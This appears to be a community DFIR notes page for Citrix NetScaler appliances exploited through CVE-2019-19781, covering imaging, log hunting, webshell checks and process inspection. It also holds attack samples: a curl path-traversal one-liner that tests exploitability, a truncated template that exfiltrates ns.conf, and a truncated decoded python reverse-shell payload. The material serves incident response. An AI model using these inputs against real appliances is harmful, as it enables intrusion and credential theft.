Citrix ADC (NetScaler) CVE-2019-19781 DFIR Notes

Feel free to do a pull request to improve this document.

You can also reach out to me on Twitter @x1sec

Checklist

- □ Take image
- □ Review HTTP log files
- □ Check all modified from the 10th of Jan 2020 until now
- □ Review all template files that are non standard
- □ Check cronjobs for all users
- □ Check all running processes
- □ Check bash history
- □ Review listening services and tcp/udp connections

Updates:

- Fireeye have released a tool to search for indicators of compromise. Looks good! **consider replacing many steps in this document with simply running this tool**
- Citrix have advised that the mitigation they provided does not work for versions 12.1 in builds for 51.16 / 51.19 and 50.31. If your running these versions, you will want to upgrade immediately.
- Fireeye have detected widespread malware that exploits a box with a single `POST` request. This malware prevents any other successful further exploitation of an appliance and might be quite prevalent - so know how to look for it.
- Due to reports of Internet wide exploitation, it's more likely then not that if a vulnerable appliance was exposed after the 10th of Jan, 2020, it should be assumed to be compromised. This was the date a public exploit became available. Note that Citrix published their advisory on the 17th of December, 2019. When searching for artifacts, consider this date.
- Software updates from Citrix have started to become available! Patches are availabl. Check here for the schedule.
- An excellent reddit post contains comments on the latest happenings and other useful links.

When the asset register isn't complete

I have written a pretty fast scanner that does not exploit hosts in an unauthorized manner unlike some other scanners available at the moment. Check the reddit link above for alternative scanners.

Shodan queries (in combination with `asn:`, `net:`, `org:` etc. for limiting the scope to your network):

`http.waf:"Citrix NetScaler"`

If you have a higher subscription paid API plan (e.g. academic users or small business API), `vuln:cve-2019-19781` is available.

As `http.waf` might not find everything and for some reason in the Shodan cli won't accept this search term, here are some alternatives:

```
http.title:"NetScaler"
http.title:"Citrix Gateway"
http.title:"Citrix Login"
```

A quick one-liner to determine if a single host is exploitable:

```
$ curl 'https://host/vpn/../vpns/cfg/smb.conf' --path-as-is
```

Taking an image

Credit to Christopher Glyer for posting this great tip on Twitter.

Send an image of the disk over SSH to a remote server:

```
dd if=/dev/md0 | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/md0.gz
dd if=/dev/ad0s1a | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/ad0s1a.gz
dd if=/dev/ad0s1b | gzip -1 - | ssh user@[IP address] dd of=/[fullpath]/ad0s1b.gz
```

(Change partition names as as appropriate `df -h`)

Retrieve an image of the disk over SSH:

```
ssh user@[IP address] "shell dd if=/dev/md0 | gzip -1 - " | dd of=/[fullpath]/md0.g
ssh user@[IP address] "shell dd if=/dev/ad0s1a | gzip -1 - " | dd of=/[fullpath]/ad
ssh user@[IP address] "shell dd if=/dev/ad0s1b | gzip -1 - " | dd of=/[fullpath]/ad
```

Remove gzip if you're concerned about a performance hit on the host, your ouput file will be raw and contain unallocated space from the partition.

Details on how to mount a FreeBSD image.

Artifacts related to exploitation

You can drop into a shell by running the command `shell` after SSHing into the appliance.

```
$ ssh nsroot@192.168.0.5
..
Last login: Thu Nov 28 20:39:03 2019 from 192.168.0.4
 Done
> shell
..

root@ns#
```

Search for files created from when exploit became public

```
root@ns# find /netscaler/portal/templates/ -newermt "2020-01-10"
```

```
/netscaler/portal/templates/brdluphxkv.xml
```

(Also check `/var/tmp/netscaler/portal/templates/` and `/var/vpn/bookmark/` for newly created .xml files)

The appliance doesn't have GNU find, nor the stat command, so one way to search for all modified files (in order) from the 10th of Jan:

```
root@ns# # find / -newermt "2020-01-10" -not -path "/proc/*" -type f -print0 | xar
```

Narrowing down the results, look for webshells, e.g. php, pl files, xml files (or any file modified since the public exploit was released) in any subdirectory under `/netscaler/`:

```
root@ns# find /netscaler -newermt "2020-01-10" -type f -print0 | xargs -0 /bin/ls
```

Backdoors are also being observed to be hidden in existing files that can only be triggered with the path traversal vulnerability, so it's worth taking a close look. PHP files placed in the following paths can be invoked from an external HTTP request:

```
/netscaler/portal/admin/scripts/
/netscaler/portal/scripts/
/netscaler/portal/supporting_files/
/var/netscaler/gui/vpn/scripts/linux
/var/netscaler/gui/vpns/help
/var/netscaler/gui/vpns/scripts/mac
/var/ns_gui/n_top
/var/ns_gui/shared
/var/ns_gui/support
/var/vpn/theme
/var/vpn/themes
```

The above is configured in `/etc/httpd.conf` with the `Alias` directive. Good to double check if the version running has any extra Aliases.

Perl files in `/netscaler/portal/scripts/` has been observed to be modified by attackers. If you have other appliances that are known to be in a good state on the same version somewhere else (e.g. staging env), the hashes could be compared. (Or even extracted from a clean image).

```
root@ns# md5 /netscaler/portal/scripts/*
MD5 (/netscaler/portal/scripts/PersonalBookmark.pl) = d45a1c4924170e2c398831676a3b
```

On my test instance these are the only valid perl scripts under that directory: (Citrix Gateway VPX for ESX Build 13.0-47.22)

Filename	MD5
tips.pl	3280ba3ab11a34077885f9de1beb1c92
logout.pl	2a2b40bfdedfc8b4ba56c280994d8d37
navthemes.pl	9926d0a20e179756daeb4688c8a03b37
newbm.pl	0591c29843bc5a48368ed06c23a3733a
picktheme.pl	575f21c82bd84aa458466e0c378d9abc
rmbm.pl	85b99d94aa01718e1ce830cd86c2d2ff
subscription.pl	bb959a65984bad31acd925312d12de8f
themes.pl	5fcb189ac8c557ab1d956e612dae0a05
PersonalBookmark.pl	d45a1c4924170e2c398831676a3b8102

Doing an `ls -altr` might uncover newer modified files. The timestamps should all be the same for these files. Note that timestamps can be modified with the `touch` command so this is why checking the hashes is important.

Check all cronjobs. If you see any under the user `nobody`, be alarmed.

```
root@ns# for user in $(cut -f1 -d: /etc/passwd); do crontab -u $user -l 2>/dev/nul
```

Check the crontab logs

```
# cat /var/log/cron | sed 's/  */ /g' | cut -d" " -f 10 | sort | uniq -c && zcat /
```

Credit darkQuassar

Check bash logs. Pay attention to anything run by the `nobody` user. Grepping for a tty to reduce noise:

```
root@ns# cat /var/log/bash.log | grep '/dev/pts/'
root@ns# zcat /var/log/bash.log.*.gz | grep '/dev/pts/'
```

TrustedSec's Netscaler forensics page notes to also pay attention to "commands executed with the phrase ‘(null) on’ where the username should be".

HTTP Logs

update Here I would recommend to consider using Fireeye's automated tool

The following information is now slightly outdate. The most accurate regex to find all methods of comprimise can be found in the Fireye scanner tool source

Fireeye have found widespread malware that is said to exploit with a single `POST` request. The actual mechanism to achieve this is not yet known. For that reason, it's best to look directly for `POST` requests to `.pl` files with either a 200 or 304 response. Will update here when more informaton is known. Additionally it turns out that the second request can be a `HEAD` to trigger the payload. So rely on this primarily:

```
root@ns# grep -iE '(GET|POST).*\.pl HTTP/1\.1\" (200|304)' /var/log/httpaccess.log
root@ns# zgrep -iE '(GET|POST).*\.pl HTTP/1\.1\" (200|304)' /var/log/httpaccess.lo
```

Logs are rotated and compressed, so when grepping, be sure to consider this (e.g. use zcat, zgrep)

```
root@ns# egrep 'logfilename|http|bash' /etc/newsyslog.conf
# logfilename          [owner:group]    mode count size when  flags [/pid_file] [s
/var/log/bash.log                       644  25    100  *     Z
/var/log/httperror.log                  600  5     100  *     ZB    /var/run/httpd
/var/log/httpaccess.log                 600  5     100  *     ZB    /var/run/httpd
```

`size 100` = 100KB. Files are rotated hourly. See documentation

When looking at the logs there will be at minimum 2 HTTP requests, with the first being `POST` or `GET` to a vulnerable perl script. The second will generally be a `GET` request to an XML file with a random name.

(The initial exploits used a `POST` initially, but it has been shown that a `GET` request is also possible, writing the template into the actual filename itself) credit: @mpgn_x64

Example from the 2nd released public exploit from Trustedsec (which invokes a reverse shell):

```
root@ns# tail -2 /var/log/httpaccess.log

192.168.0.4 - - [28/Nov/2019:22:28:20 +0000] "POST /vpns/portal/scripts/newbm.pl H
192.168.0.4 - - [28/Nov/2019:22:28:22 +0000] "GET /vpns/portal/xbtewgybbp.xml HTTP/
```

It is also possible to exploit by writing the RCE template into the actual filename with either a `POST` or `GET` request, so when searching logs, also look at `GET` requests to `.pl` scripts.

The following is a nice way to show successful exploitation with much less noisy log output. A `POST` or `GET` of a `.pl` file, followed by a `GET` of an XML file is what you are looking for when running:

```
root@ns# grep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log -B 1
root@ns# zgrep -iE 'GET.*\.xml HTTP/1\.1\" 200' /var/log/httpaccess.log.*.gz -B 1
```

Credit @ItsReallyNick

Check for dropped php webshells:

```
root@ns# grep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\" 200' /var/
root@ns# zgrep -iE '(support|shared|n_top|vpn|themes).+\.php HTTP/1\.1\" 200' /var/
```

Sensitive files

The `/nsconfig/ns.conf` file contains passwords that are plain text or hashed. The hashed passwords can be cracked easily. (Salted SHA-512). See Hashcat's Twitter post. They should all be changed.

```
root@ns# grep hashmethod /nsconfig/ns.conf
set system user nsroot 232e00d9695911eede6a540151e66086154bad5221c82f845b05861a280
add system user test 20fe9bc35e289bc39739f26cc6157cf3a27a8020e83d56b300f9a99f749cf
```

Interesting enough, the initial password is in plain-text. `ns.conf.*` files should also be checked.

```
root@ns# grep nsroot /nsconfig/ns.conf.0
set system user nsroot nsroot
```

Malicious template that has been observed that doesn't execute code in a shell. The following template appears intended to exfiltrate the `ns.conf` file:

```
<bookmark UI_inuse="" descr="b:" title="@FILE@[% USE mydata = datafile('/nsconfig/
') %][% FOREACH line = mydata %][% FOREACH value = line.values() %][% value %]@BR@
```

credit: @msandbu

Payloads

The Trustedsec PoC specifically encodes the payload. It also appears the Metasploit exploit does the same.

If you see something like this in the dropped template file:

```
    <bookmark UI_inuse="a" descr="desc" title="[% template.new({'BLOCK'='print rea
```

Decode with the script below. In this example we see a reverse python shell:

```
$ python decode.py payload.xml
/var/python/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_I
```

Here is a quick and dirty decoding script (`decode.py`):

```
import re
import sys

if len(sys.argv) != 2 :
   print "usage: ./decode.py payload.txt"
   sys.exit(1)

f = open(sys.argv[1])
l = [b.rstrip() for b in f.readlines()]
j = "".join(l)
f.close()
a = re.search(r'.*readpipe\((.*)\)\'.*', j)
if a is None :
   print "Can't find encoded payload"
   os.Exit(1)
```

```
payload = ""
for i in a.group(1).split('.') :
   c = re.search(r'chr\((\d+)\)',i)
   if c is not None :
      k = int(c.group(1))
      payload = payload + str(chr(k))
print payload
```

Processes

For FreeBSD, use the `-d` switch to show the parent processes. (Equiv to forrest, `-f` in GNU `ps`) Specifically look out for child proceeses of httpd.

```
root@ns# ps auxd
USER        PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
..
root        966  0.0  0.8 110392 12808  ??  Ss    7:59PM   0:02.11 |-- /bin/httpd
nobody     1013  0.0  1.0 131076 16096  ??  I     7:59PM   0:41.11 | |-- /bin/httpd
nobody     4437  0.0  0.9 137192 14620  ??  I    10:09PM   0:00.69 | |-- /bin/httpd
nobody     4438  0.0  1.3 135208 20488  ??  I    10:09PM   0:00.91 | |-- /bin/httpd
nobody     9560  0.0  1.5 131012 25236  ??  I    11:42PM   0:07.98 | |-- /bin/httpd
nobody     9561  0.0  1.5 131012 24700  ??  I    11:42PM   0:08.54 | |-- /bin/httpd
nobody    10683  0.0  0.8 37396  13564  ??  I    12:19AM   0:00.14 | | `-- /var/pyth
nobody    10684  0.0  0.1  8320  1364  ??  I    12:19AM   0:00.01 | |   `-- /bin/sh
```

The default processes observed in a fresh install is at the last section of this document.

Look for suspicious connections. In FreeBSD you can use `sockstat` with the `-c` swith to show connected sockets with the corresponding process. (Similar to `netstat -natp` which is not available).

In the following example, the attacker is `192.168.0.4`:

```
root@ns# sockstat -c -4 | awk '{ if (substr($7,1,8) != "127.0.0.") print $0}'
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
nobody   sh         49870 0  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 1  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 2  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   sh         49870 3  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 0  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 1  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 2  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   python2.7  49869 3  tcp4   192.168.0.5:34623     192.168.0.4:443
nobody   httpd      43544 10 tcp4   127.0.0.1:80           192.168.0.4:29138
root     aslearn    1307  10 tcp4   127.0.0.1:3021         192.168.0.5:3011
root     nsconfigd  1260  19 tcp4   192.168.0.5:3010       192.168.0.5:33524
root     nsconfigd  1260  21 tcp4   192.168.0.5:3010       192.168.0.5:58614
```

We can dig deeper with `lsof` which is fortunately installed on the box (trimmed for brevity). Here we can see the TCP connections for a reverse shell, involved from the python interpreter:

```
root@ns# lsof -p 49869
COMMAND     PID   USER   FD   TYPE              DEVICE SIZE/OFF   NODE NAME
python2.7 49869 nobody  cwd   VDIR                0,59      512      2 /
python2.7 49869 nobody  rtd   VDIR                0,59      512      2 /
python2.7 49869 nobody  txt   VREG                0,69  6222951 216396 /var/python/l
python2.7 49869 nobody  txt   VREG                0,59   250704  27434 /libexec/ld-
python2.7 49869 nobody  txt   VREG                0,59  1268552  13718 /lib/libc.so
python2.7 49869 nobody  txt   VREG                0,69    40090 235543 /var/python/
python2.7 49869 nobody  txt   VREG                0,69   191268 235556 /var/python/
python2.7 49869 nobody  txt   VREG                0,59    85392  13814 /lib/libz.so
python2.7 49869 nobody    0u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:
python2.7 49869 nobody    1u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:
python2.7 49869 nobody    2u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:
python2.7 49869 nobody    3u  IPv4 0xffffff0072278760      0t0    TCP 192.168.0.5:
```

The `/proc/` filesystem also can give us some information:

```
root@ns# file /proc/49869/file
/proc/49869/file: symbolic link to `/var/python/bin/python2.7'
```

`/proc/<pid>/cmdline` may also be of interest.

Check processes that are listening on both TCP and UDP sockets:

```
root@ns# sockstat -l -P tcp,udp
```

It's normal to see the `nobody` user listening on TCP port `80` and `443` as user `httpd`. If you see UDP port `18634` for `httpd`, then there is a high probability the device is infected with the NOTROBIN malware described in Fireeye's post

Getting the virtual appliance working in VirtualBox

If you want to play around yourself and don't have access to a gateway you can spin up one locally.

After signing up to citrix.com and logging in, you can download the latest vulnerable appliance at this direct link: https://www.citrix.com/downloads/citrix-gateway/product-software/citrix-gateway-13-0-build-47-22.html

Once the .ovf has been imported into VirtualBox, on the host you must set the following (this assumes the VM name is `NSVPX-ESX`)

```
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVen
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVer
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSRel
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSRel
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSRel
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSFir
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiBIOSFir
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiSystemV
VBoxManage setextradata NSVPX-ESX "VBoxInternal/Devices/pcbios/0/Config/DmiSystemP
```

On the first boot you will be asked for an IP address and subnet. The installation will then complete. You can log in with the credentials `nsroot` / `nsroot`. You do not need to active a license to exploit the VM.

Default processes

Here is a list of processes running on a vanilla installation. If on a similar version, look carefully at processes that are different.

Citrix Gateway VPX for ESX Build 13.0-47.22

```
USER        PID %CPU %MEM   VSZ   RSS  TT  STAT STARTED      TIME COMMAND
root         11 100.0  0.0     0    32  ??  RL    7:59PM  27:45.13 [idle]
root       1202 98.7 32.2 523996 524176  ??  Rs    7:59PM  39:46.59 nsppe (NSPPE-0
root       1204  0.6  1.1 31744 17344  ??  Rs    7:59PM   2:00.52 /netscaler/nsnet
root          0  0.0  0.0     0   704  ??  DLs   7:59PM   0:00.17 [kernel]
root          1  0.0  0.0  3204   428  ??  ILs   7:59PM   0:00.03 /sbin/init --
root          2  0.0  0.0     0    16  ??  DL    7:59PM   0:00.02 [g_event]
root          3  0.0  0.0     0    16  ??  DL    7:59PM   0:00.24 [g_up]
root          4  0.0  0.0     0    16  ??  DL    7:59PM   0:00.39 [g_down]
root          5  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [crypto]
root          6  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [crypto returns]
root          7  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [mpt_recovery0]
root          8  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [sctp_iterator]
root          9  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [xpt_thrd]
root         10  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [audit]
root         12  0.0  0.0     0   224  ??  WL    7:59PM   5:51.55 [intr]
root         13  0.0  0.0     0    16  ??  DL    7:59PM   0:08.13 [yarrow]
root         14  0.0  0.0     0    16  ??  DL    7:59PM   0:07.38 [gv_worker]
root         15  0.0  0.0     0    16  ??  DL    7:59PM   0:00.30 [md0]
root         16  0.0  0.0     0    16  ??  DL    7:59PM   0:00.16 [pagedaemon]
root         17  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [vmdaemon]
root         18  0.0  0.0     0    16  ??  DL    7:59PM   0:00.00 [pagezero]
root         19  0.0  0.0     0    16  ??  SL    7:59PM   0:00.04 [nsidler]
root         20  0.0  0.0     0    16  ??  DL    7:59PM   0:00.48 [bufdaemon]
root         21  0.0  0.0     0    16  ??  DL    7:59PM   0:01.10 [syncer]
root         22  0.0  0.0     0    16  ??  DL    7:59PM   0:00.80 [vnlru]
root         23  0.0  0.0     0    16  ??  DL    7:59PM   0:00.81 [softdepflush]
root         24  0.0  0.7 10624 10676  ??  S     7:59PM   0:02.26 nspitboss (pitbos
root        958  0.0  0.1  6896  1204  ??  Ss    7:59PM   0:00.14 /usr/sbin/syslogd
root        960  0.0  0.1  9008  1168  ??  Is    7:59PM   0:00.00 /usr/sbin/inetd
root        962  0.0  0.1  7952  1220  ??  Ss    7:59PM   0:00.05 /usr/sbin/cron
root        966  0.0  1.5 110392 23868  ??  Ss    7:59PM   0:01.12 /bin/httpd
root        969  0.0  0.1 10196  2376  ??  I     7:59PM   0:00.17 /usr/local/bin/m
root        972  0.0  0.2 19104  3340  ??  Ss    7:59PM   0:00.00 /usr/sbin/sshd -
nobody     1012  0.0  2.1 128964 34780  ??  I     7:59PM   0:00.38 /bin/httpd
nobody     1013  0.0  2.2 128964 35344  ??  I     7:59PM   0:03.47 /bin/httpd
nobody     1014  0.0  2.1 128964 35012  ??  I     7:59PM   0:00.25 /bin/httpd
nobody     1015  0.0  2.1 128964 34764  ??  I     7:59PM   0:00.23 /bin/httpd
nobody     1016  0.0  2.0 128964 33232  ??  I     7:59PM   0:00.14 /bin/httpd
root       1201  0.0  0.2 12648  4060  ??  Ss    7:59PM   0:00.28 nslped
root       1225  0.0  0.2 10868  2852  ??  Ss    7:59PM   0:00.03 /netscaler/nsmap
root       1226  0.0  0.8 33360 12556  ??  Ss    7:59PM   0:28.85 /netscaler/nsagg
root       1227  0.0  0.2 76228  3788  ??  Ss    7:59PM   0:03.39 /netscaler/nsclu
root       1228  0.0  0.2 10624  3020  ??  Ss    7:59PM   0:00.17 /netscaler/monup
root       1250  0.0  1.0 30968 16780  ??  Ss    7:59PM   0:00.48 /netscaler/nscon
root       1252  0.0  1.2 44996 19876  ??  S     7:59PM   0:02.89 /netscaler/nsgsl
root       1255  0.0  0.2 10620  2976  ??  Ss    7:59PM   0:00.03 /netscaler/nsfsy
root       1263  0.0  0.3 11164  5072  ??  Ss    7:59PM   0:00.18 /netscaler/imi -
root       1270  0.0  0.2 16072  2508  ??  Is    7:59PM   0:00.00 /netscaler/nscrl
root       1279  0.0  0.8 43720 12508  ??  S     7:59PM   0:01.16 php /netscaler/w
root       1293  0.0  0.1 10132  1392  ??  Is    7:59PM   0:00.00 /netscaler/nskrb
root       1294  0.0  0.1  6016  1764  ??  I     7:59PM   0:00.00 /netscaler/nsvpn
root       1295  0.0  0.7 53940 11468  ??  I     7:59PM   0:00.24 /netscaler/nsaaa
root       1297  0.0  0.2  6016  2696  ??  S     7:59PM   0:00.49 /netscaler/nsvpn
root       1301  0.0  0.2  7436  3220  ??  S     7:59PM   0:00.33 /netscaler/iked
root       1305  0.0  0.4 15756  6020  ??  S     7:59PM   0:00.56 /netscaler/aslea
root       1310  0.0  0.4 18148  5972  ??  Ss    7:59PM   0:00.56 /netscaler/nsclf
root       1312  0.0  0.4 27044  6428  ??  S     7:59PM   0:01.79 /netscaler/snmpd
root       1314  0.0  0.3 14160  5404  ??  Ss    7:59PM   0:00.43 /netscaler/provs
root        1317  0.0  0.5 18228  7696  ??  Rs    7:59PM   1:43.34 /netscaler/nsris
root        1319  0.0  0.1  8320  1516  ??  I     7:59PM   0:00.00 sh /netscaler/ns
root        1325  0.0  0.6 28904  9552  ??  Ss    7:59PM   0:00.40 /netscaler/nscfs
root        1332  0.0  0.1  7920  2432  ??  Ss    7:59PM   0:00.18 /netscaler/syshe
root        1333  0.0  0.1  5800   940  ??  Ss    7:59PM   0:00.02 /netscaler/nscac
root        1335  0.0  1.9 57572 30776  ??  I     7:59PM   0:00.16 /netscaler/nscol
root        1336  0.0  1.9 57572 30796  ??  I     7:59PM   0:00.20 /netscaler/nscol
root        1338  0.0  0.1  8320  2364  ??  I     7:59PM   0:00.11 /usr/bin/bash /n
root        1344  0.0  0.4 26132  6792  ??  Ss    7:59PM   0:22.77 /netscaler/metri
root        1345  0.0  0.1  8264  2032  ??  I     7:59PM   0:00.01 /netscaler/datad
root        1354  0.0  0.4 30980  5796  ??  Ss    7:59PM   0:00.09 /netscaler/nscop
root        1355  0.0  0.7 21068 11332  ??  Ss    7:59PM   0:00.57 /netscaler/nstra
root        1377  0.0  0.4 18060  5816  ??  I     7:59PM   0:00.01 /netscaler/nssyn
root        1430  0.0  0.1  1532   984  ??  Ss    7:59PM   0:01.30 /netscaler/nspro
root        1459  0.0  0.2 18400  3512  ??  S     7:59PM   0:54.10 /netscaler/nspro
nsmonitor   1462  0.0  0.2 10620  2876  ??  Ss    7:59PM   0:00.54 /netscaler/nsumo
nobody      1495  0.0  1.7 110456 27468  ??  I     7:59PM   0:00.07 /bin/httpd
root        1524  0.0  0.1  6892  1132  ??  S     8:00PM   0:00.01 /usr/libexec/get
root        2228  0.0  0.0  2736   728  ??  I     8:38PM   0:00.00 sleep 60
root        2241  0.0  0.3 19104  4084  ??  Ss    8:38PM   0:00.05 sshd: nsroot@pts
root        1516  0.0  0.1  6892  1088  v0  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1517  0.0  0.1  6892  1088  v1  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1518  0.0  0.1  6892  1088  v2  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1519  0.0  0.1  6892  1088  v3  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1520  0.0  0.1  6892  1088  v4  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1521  0.0  0.1  6892  1088  v5  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1522  0.0  0.1  6892  1088  v6  Is+   8:00PM   0:00.00 /usr/libexec/get
root        1523  0.0  0.1  6892  1088  v7  Is+   8:00PM   0:00.00 /usr/libexec/get
root        2247  0.0  0.5 18060  8016   0  Ss    8:39PM   0:00.11 nscli
```